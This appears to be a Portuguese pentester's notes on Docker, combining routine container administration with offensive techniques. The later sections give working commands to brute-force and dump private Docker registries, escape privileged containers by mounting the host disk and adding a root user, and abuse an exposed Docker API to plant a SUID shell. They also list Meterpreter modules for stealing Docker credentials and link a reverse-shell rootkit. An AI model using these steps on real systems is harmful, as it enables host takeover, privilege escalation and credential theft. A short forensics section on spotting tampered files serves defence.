# Docker

### Recursos de um Virtualizador

#### Cgroups

Cada container possui sua própria `Cgroups` (Control Groups ou Grupo de Controle). O Cgroups é responsável por controlar CPU, memória, rede e leitura/escrita de rede de cada container

Diretório onde ficam os recursos do Cgroups

```bash
/sys/fs/cgroup
```

Dentro de cada diretório (que representa um recurso), tem os subrecursos

Criando um Cgroups

```bash
cgcreate -g memory:<nome>
```

Listando todos os Cgroups

```bash
lscgroup
lscgroup | grep i docker
```

Definindo um valor pelo Cgroups. Os comandos são "repetidos", porque existe um bug, então deve-se executar os 3 comandos

```bash
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
cgset -r memory.limit_in_bytes=160M grupo_de_teste
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
```

Verificando o valor

```bash
cgget -r memory.limit_in_bytes grupo_de_teste
```

Deletando um Cgroups

```bash
cgdelete -g memory:grupo_de_teste
```

#### Namespace

Listando os Namespace

```bash
lsns
```

#### Rede

Criando rede Namespace

```bash
ip link add ens172 type dummy
ip netns add rede_teste
ip link set ens172 netns rede_teste
```

Listando redes Namespace

```bash
ip netns list
```

Executando comando em uma rede do Namespace

```bash
ip netns exec rede_teste ifconfig ens172 up
```

Acessando bash dentro do namespace de rede

```bash
ip netns exec rede_teste bash
```

###

### Instalação e Configuração do Docker

#### Instalando

```bash
https://docs.docker.com/install/linux/docker-ce/ubuntu/
```

#### Adicionando o usuário no grupo:

```bash
sudo groupadd docker
sudo usermod -aG docker $USER
```

**OBS.:** Depois que instalado, faça logout no sistema

### Informações Básicas

Versão do Docker

```bash
docker version
```

Informações detalhadas do Docker

```bash
docker info
```

####

#### Executando Hello World

```bash
docker run hello-world
```

###

### Imagens

Imagens no mundo Docker, são como templates que servirão de base para executar um container.

#### Procurando por uma Imagem

```bash
docker search <image>
```

#### Baixando um Imagem

```bash
docker pull <image>
```

#### Listando Todas as Images

```bash
docker images
```

#### Removendo Todas as Images

```bash
docker rmi $(docker images -a -q)
```

#### Remove todas as imagens que não estão "tagiadas" (possuem TAG).

Utilize `docker images` para ver as imagens que estão "tagiadas"

```bash
docker system prune
```

###

### Containers

O Container é uma instância de uma Imagem em execução naquele momento, que pode ter status como `start` e `stop`, e pode ser destruída e gerada rapidamente a qualquer momento.

#### Verificando Somente os Containers que estão em execução

```bash
docker ps
```

#### Verificando Todos os Containers

Diferentemente do comando acima, este exibe também os Containers que estão em Stop.

```bash
docker ps -a
```

#### Listando Somente o ID dos Containers em Execução

```bash
docker ps -q
```

#### Listando o ID de dos Todos os Containers

```bash
docker ps -q
```

#### Executando um Container a Partir de um Imagem

O parâmetro `--rm` irá excluir o container (caso já exista).

```bash
docker run -d --rm --name <new_name_container> <image> -v <local_directory>:<container_directory>
```

{% hint style="info" %}
**DICA.:** Pode-se utilizar `--mount` no lugar de `-v`, pois ambos tem o mesmo efeito. Porém o `--mount` tem uma saída mais detalhada (verbose) e para utilizar services, somente `--mount` é suportado
{% endhint %}

#### Criando um Container e Interagindo com o /bin/bash

```bash
docker run -it ubuntu
```

As vezes pode ser necessário chamar o nome da imagem, seguido da sua versão (TAG). Execute `docker images` para ver a versão. Um exemplo do comando anterior utilizando a versão, seria como no exemplo abaixo:

```bash
docker run -it ubuntu:18.04
```

#### Criando um Container e Executando um Comando

```bash
docker run ubuntu ls -lha
```

#### Inicializa um Container a partir de uma Imagem sem deixar o Terminal preso

Por padrão, o Docker irá deixar seu terminal preso, por isso deve utilizar a opção `-d` (detached), para oculte a sua saída e deixe o terminal livre para utilizar em outro propósitos.

```bash
docker run -d <image>
```

#### Acessando Portas (aleatórias) de um Container externamente

Isso serve para utilizar a porta do Container como se fosse localmente.

```bash
docker run -d -P <image>
```

#### Definindo Portas do Container Externamente

Diferente da opção `-P`, este permite escolher qual porta iremos acessar via localhost.

```bash
docker run -d -p <port_localhost>:<port_container> <image>
```

#### Verificando Portas de Determinado Container

```bash
docker port <container_id>
```

#### Definindo o Diretório onde irá executar determinado Comando

```bash
docker run -w "/var" ubuntu ls -lha
```

#### Definindo Variáveis de Ambiente

Note que pode repetir o parâmetro `-e` quantas vezes for necessário.

```bash
docker run -d -e MYVAR="valor" -e MYVAR2="valor2" <image>
```

#### Startando um Container

```bash
docker start <id_container>
```

#### Startando um Container que já foi finalizado, porém deixando o Terminal em Modo Interativo

```bash
docker start -a -i <container_id>
```

#### Parando Container de Forma Mais Rápida

Por padrão o docker demora 10 segundos para parar um serviço

```bash
docker stop -t 0 <container_id>
```

#### Parando Todos os Containers

```bash
docker stop -t 0 $(docker ps -q)
```

#### Executa determinado Comando em um Container que já está sendo Executado

```bash
# i = Interativo
# -t = Terminal
docker exec -it <container> <command>
```

#### Parando (Stop) um Container e Removendo ao Mesmo Tempo

```bash
docker rm -f <container_id>
```

###

### Volume

#### Criando um Volume

```bash
docker volume create <name_volume>
```

#### Deletando um Volume

```bash
docker volume rm <name_volume>
```

#### Listando Todos os Volumes

```bash
docker volume ls
```

#### Inspecionando Volume

```bash
docker volume inspect <name_volume>
```

#### Verificando Montagens (volume) de um Container

```bash
docker inspect -f {{.Mounts}} <id_container>
```

###

### Network

Ao criar uma rede própria (Network), podemos fazer com que um container se comunique com outros containers através do hostname

#### Criando uma Network

```bash
docker network create --driver bridge <nome_da_rede>
```

#### Listando as Networks

```bash
docker network ls
```

#### Criando um Container em uma Network

```bash
docker run -it --name <name_container> --network <nome-rede> ubuntu
```

#### Inspeciona Determinada Network

Útil para ver quais containers estão conectadas na rede

```bash
docker network inspect <name_network>
```

#### Removendo uma Network

```bash
docker network rm <netwok_id>
```

### Dockerfile

#### Buildando

Caso o seu arquivo chame exatamente `Dockerfile`, não é preciso passar o parâmetro `-f`. Se atente também no ponto que está no final do comando

```bash
docker build -f <file> -t <image> .
```

###

### Docker Compose

#### Executando o docker-compose.yml

Utilize a opçao `-d` para jogar o processo em background e não ficar com o terminal preso. Utilize o parâmetro `-f` para especificar o arquivo de configuração ou deixa em branco para ficar como default, onde o irá ser procurado um arquivo chamado `docker-compose.yml` no diretório atual.

```bash
docker-compose up
docker-compose up -d
docker-compose -f <file.yml> up -d
```

#### Listando os Serviços do docker-compose

```bash
docker-compose ps
```

#### Parando (Stop) e Removendo Todos os Containers do docker-compose

```bash
docker-compose down
```

#### Reiniciando os Containers do docker-compose

```bash
docker-compose -f <file.yml> restart
```

### Verificando se Está em um Docker

Assim que conseguir uma Reverse Shell ou termos qualquer tipo de acesso/interação, é importando analisarmos se estamos lidando com um Docker. Podemos fazer isso das seguintes maneiras:

* Veja se existe o arquivo `/.dockerenv`
* Verifique o hostname, que geralmente tem código (Container ID) no nome
* Execute `ps -eaf` e verifique os processos. Geralmente Docker tem uma quantidade reduzida de processos
* Veja se no início do `phpinfo.php` o nome da máquina é algo como "Linux 23d24ff620b3 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86\_64"

### Gerenciando Containers sem o Docker Client

#### CTR

Ferramenta substituda do `docker`, que também permite realizar diversas operações com containers

Listando todos as imagens

```bash
ctr image ls
```

Listando todos os containers

```bash
ctr container ls
```

Iniciando um container. Note que o nome da imagem está no padrão da saída do primeiro comando do `ctr`, então o `alpine:latest`, seria o equivalente a `docker.io/library/alpine:latest`.

```bash
ctr run --rm --mount type=bind,src=/,dst=/,options=rbind:rw <image> <nome> sh -c "bash"
```

#### RUNC

Primeiro vamos criar nosso arquivo `config.json` no diretório atual, através do comando:

```bash
runc spec
```

Edite o arquivo `config.json`, e no nó `root`, mude o valor de `readonly` para `false`. E logo abaixo no nó `mounts`, crie uma chave nova em `mounts[0]`, com o seguinte valor:

```bash
"type": "bind",
"source": "/",
"destination": "/",
"options": ["rbind", "rw"]
```

Crie o diretório `rootfs`

```bash
mkdir rootfs
```

Agora execute o runc

```bash
runc run mysther
```

### Docker Socket

Caso a porta 2375 esteja aberta, é possível acessar o docker do host. Não existe mecanismo de segurança eficaz para isso (não é possível colocar senha), então o melhor é deixá-lo em um servidor privado, pois caso esteja exposto, qualquer pessoa poderá acessá-lo.

```bash
export DOCKER_HOST=tcp://<ip>:2375
docker ps
```

### Docker Registry

Um Docker Registry é utilizado para armazenar e compartilhar imagens docker. Geralmente o Docker Registry público possui uma segurança boa, como por exemplo Docker Hub, porém o Registry Privado não, pois depende da própria segurança da empresa.

Geralmente no NMAP, iremos encontrar uma saída do tipo

```bash
5000/tcp open  http    Docker Registry (API: 2.0)
```

Verificando todas os repositórios

```bash
curl http://<ip>:5000/v2/_catalog
```

O comando acima só é possível quando o Registry está desprotegido por senha. Caso precise de senha, utilize o HTTP HEAD para ver o tipo de autenticação e depois realize um ataque de Brute Force. Para o exemplo abaixo, a saída no HEAD deve ser `www-authenticate: Basic realm="Registry Realm"`

```bash
hydra -l <user> -P <wordlist> <ip> -s 5000 https-get /v2/
```

Para verificar se as credenciais estão corretas, utilize o comando abaixo:

```bash
curl -sku '<user>:<pass>' https://<ip>:5000/v2/_catalog | jq
```

Pegando as tags dos repositórios

```bash
curl http://<ip>:5000/v2/<name>/tags/list
```

Recupera o manifest identificado pelo nome e referência, onde a referência pode ser uma tag ou digest. Também é possível realizar uma solicitação via HEAD para receber detalhes do Header Response

```bash
curl -s http://<ip>:5000/v2/<name>/manifests/<tag> | jq
```

Com a saída do comando acima, vá em `fsLayers` e selecione um dos (ou todos) valores de `blobSum`, de cima para baixo (geralmente com o padrão `sha256:<hash>`). Feito isso, execute o comando abaixo para baixar os arquivos do container. Geralmente vamos ter 3 ou mais Blobs, sendo o primeiro (de baixo pra cima), a `Base` que são os arquivos do SO, o segundo que contém os `Metadatas` e o(s) último(s) que será o `Diferencial`, ou seja, os arquivos que foram modificados.

```bash
curl -so <output.tar> http://<ip>:5000/v2/<name>/blobs/<sha254:hash>
tar -xvf <output.tar>
```

#### Automatizando o Download de Arquivos

```bash
for x in $(curl -s http://<ip>:5000/v2/<name>/manifests/latest | jq | grep -i sha256 | cut -d '"' -f 4) ; do curl -so $(echo $x | cut -d":" -f2).tar "http://<ip>:5000/v2/<name>/blobs/$x" ; tar -xvf $(echo $x | cut -d":" -f2).tar ;  done
```

#### Iniciando um Registro Local

```bash
docker container start registry
```

### Escapando do Container Docker

#### Capsh

Mostra todos os Capabilities que o Container está executando. Se tiver muitas Capabilities, provavelmente está com um Container Privilegiado, o que é um vetor de ataque. Verifique se a Capability `cap_sys_admin` está ativa, e se positivo, podemos sair do Docker e acessar o host hospedeiro.

```bash
capsh --print
```

Execute então os comandos abaixo e verifique:

* `df -h` = Exibe o `overlay` apontando para o `/`
* `fdisk -l` = Exibe o /dev/sda1

Caso positivo, poedmos acessar os arquivos da máquina hospedeira, então execute:

```bash
mount /dev/sda1 /mnt
cd /mnt
ls
```

Após entrar no `/mnt`, execute os comandos abaixo para acessar comandos no SO hospedeiro (dependendo do cenário, pode ou não funcionar).

```bash
chroot .
```

Caso não funcione a execução de comandos no SO, não se preocupe, pois você ainda tem acesso aos arquivos do sistema. Então basta inserir um novo usuário com privilégios root no host hospedeiro e depois acessá-lo de alguma forma, como por exemplo, via SSH

#### API Docker

Bypass para montar Container com Volume. Primeiro pegue a versão da API (por exemplo 1.41)

```bash
docker version | grep 'API version'
```

Agora crie um container com o volume criado

```bash
curl -s http://<ip>:2375/<api-version>/containers/create -H 'Content-type: Application/json' -d '{"Image": "<image>", "Binds": ["/:/mysther"], "Tty": true, "OpenStdin": true}' | jq
```

Inicie e acesse o container

```bash
docker start <container_id>
docker exec -it <container_id> bash
```

Entre no diretório e enjaule

```bash
cd /mysther/
chroot . 
```

Deixe o bash com SUID Bit ativo

```bash
cp /bin/bash /tmp
chmod u+s /tmp/bash
```

Saio do Docker e volte para a máquina principal (usuário comum do SO) e faça o PrivEsc

```bash
exit
exit
/tmp/bash -p
```

### Meterpreter

Caso tenha comprometido um host e esteja com o Meterpreter, utilize os posts abaixo para verificar se o alvo usa docker e então pegar suas credenciais.

```bash
# Verificando se o alvo utiliza Docker
post/linux/gather/checkcontainer

# Pegando credenciais
post/multi/gather/docker_creds
```

### Criando Container Privilegiado com Bypass

#### Privileged Bypass

Útil em casos onde temos acesso ao comando docker, porém não podemos criar containers priviligiados (`--privileged`).Utilize a maneira abaixo para realizar bypass

```bash
docker run -dit --security-opt "seccomp=unconfined" --name pwn ubuntu
docker exec -it --privileged pwn bash
```

### Forense

#### Container Diff

Ferramenta desenvolvida pelo Google para analisar imagens Docker, tanto local quanto remoto.

Instalando

```bash
curl -sLO https://storage.googleapis.com/container-diff/latest/container-diff-linux-amd64
mkdir -p "/opt/bin" && export PATH="$PATH:/opt/bin"
install container-diff-linux-amd64 /opt/bin/container-diff
ln -s /opt/bin/container-diff /bin/container-diff
```

Salvando uma imagem em seu estado atual em arquivo tar

```bash
docker image save -o <file.tar> <image>
```

Verificando histórico de modificações de uma imagem

```bash
container-diff analyze -t history <file.tar>
```

Verificando pacotes adicionados

```bash
container-diff analyze -t apt <file.tar>
container-diff analyze -t aptlayer <file.tar>
```

#### Docker Diff

Vendo alterações realizadas depois que o container foi montado. Verifique se arquivos sensíveis como `/etc/shadow` foi alterados, pois isso pode ser indício de um ataque. Na saída podemos ver que as alinhas começam com `C` (Created), ~~D~~ (Deteled) e `A` (Altered)

```bash
docker diff <container-id>
```

Caso encontre arquivos suspeitos e queira analisar melhor, utilize o comando abaixo para baixá-los. Como exemplo, iremos utilizar o `/etc/shadow`

```bash
docker cp <container-id-suspeito>:/etc/shadow shadow_suspeito
```

Crie um novo container com o arquivo original

```bash
docker run -d --name <image-original> <image>
```

Copie o arquivo original para a máquina local

```bash
docker cp <container-id-original>:/etc/shadow shadow_original
```

Agora verifique a diferença entre esses arquivos (o que foi modificado e o original)

```bash
diff shadow_suspeito shadow_original
```

#### CRIU (Checkpoint and Restore In Userspace)

Ferramenta que permite criar pontos de restauração de Conatainers

Instalando

```bash
sudo apt install criu
```

### Sites

```bash
# Reverse Shell em Conatiners
https://github.com/PinkP4nther/Pinkit
```
